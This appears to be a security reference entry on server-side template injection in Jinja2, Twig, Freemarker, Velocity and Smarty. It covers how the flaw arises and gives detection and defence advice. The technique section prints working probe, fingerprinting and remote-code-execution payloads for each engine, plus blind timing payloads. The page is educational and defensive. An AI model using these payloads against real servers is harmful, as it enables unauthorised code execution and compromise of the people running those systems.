Server-side template injection
TL;DR: User input is rendered as a template expression by Jinja2 / Twig / Velocity / Freemarker / ERB, escaping the data context into the engine’s expression language and on to RCE.
What it is
Template engines split content into static text and expressions evaluated against a context object. When developer code does Template(user_input).render(...) instead of Template(static).render(user=user_input), the input becomes code. Most engines expose enough reflection or built-in functions to reach the host process — file I/O, subprocess, or arbitrary class instantiation.
Preconditions / where it applies
- Server-rendered HTML, emails, PDFs, or document exports where a user-controlled value flows into the template source.
- Engines: Jinja2 / Twig / Smarty / Mako (PHP/Python), Velocity / Freemarker / Thymeleaf (Java), ERB / Liquid / Slim (Ruby), Razor (.NET), Handlebars / pug (Node — usually sandboxed).
- Often via “personalisation” features: greeting templates, mail-merge, signature templates, report generators, low-code form designers.
Technique
-
Probe. Inject syntax for several engines and look for evaluation.
1 2 3 4
{{7*7}} -> 49 (Jinja2, Twig, Liquid, Mustache-extended) ${7*7} -> 49 (Freemarker, Velocity, Thymeleaf, Spring EL) <%= 7*7 %> -> 49 (ERB, Razor) #set($x=7*7)$x -> 49 (Velocity) - Fingerprint. Differentiate engines via syntax that’s unique —
{{7*'7'}}returns7777777in Jinja2 but errors in Twig 2;{{config.items()}}is Jinja2;{{_self.env}}is Twig. -
Jinja2 RCE. Walk the MRO to reach
os.popen:1 2 3
{{ ''.__class__.__mro__[1].__subclasses__() }} {{ ''.__class__.__mro__[1].__subclasses__()[<idx>] ('id', shell=True, stdout=-1).communicate() }}Or modern:
{{ cycler.__init__.__globals__.os.popen('id').read() }}. - Twig RCE.
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}. - Freemarker RCE.
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}. - Velocity RCE.
#set($x=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")). - Smarty.
{system("id")}oncesecurity_policyis disabled. - Sandbox escapes. Even where a sandbox is on, engine bugs and access to
__globals__/Runtimeoften punch through; check the engine’s CVE history. - Blind SSTI. No output rendering — use timing (
{{ ''.__class__.__mro__[1].__subclasses__()[<n>]('sleep 5', shell=True) }}) or DNS callbacks.
Detection and defence
- Never compile a template from user input. Render with a fixed template and pass values via the context dictionary.
- If a “user templates” feature is truly required, run it in a hardened sandbox engine designed for it (Liquid, Handlebars with
noEscape:false, MiniJinja with extension disable), or in an isolated process with no FS / network access. - Patch engines aggressively; Twig, Freemarker, and Jinja2 have a long history of sandbox bypasses.
- Detection: WAF rules for
{{,${,<%=in fields that should never contain them; logs of exception traces from the template engine on the request path.
References
- PortSwigger — Server-side template injection — labs and engine matrix.
- PortSwigger — Server-Side Template Injection (Kettle, 2015) — original paper.
- PayloadsAllTheThings — SSTI — payload reference per engine.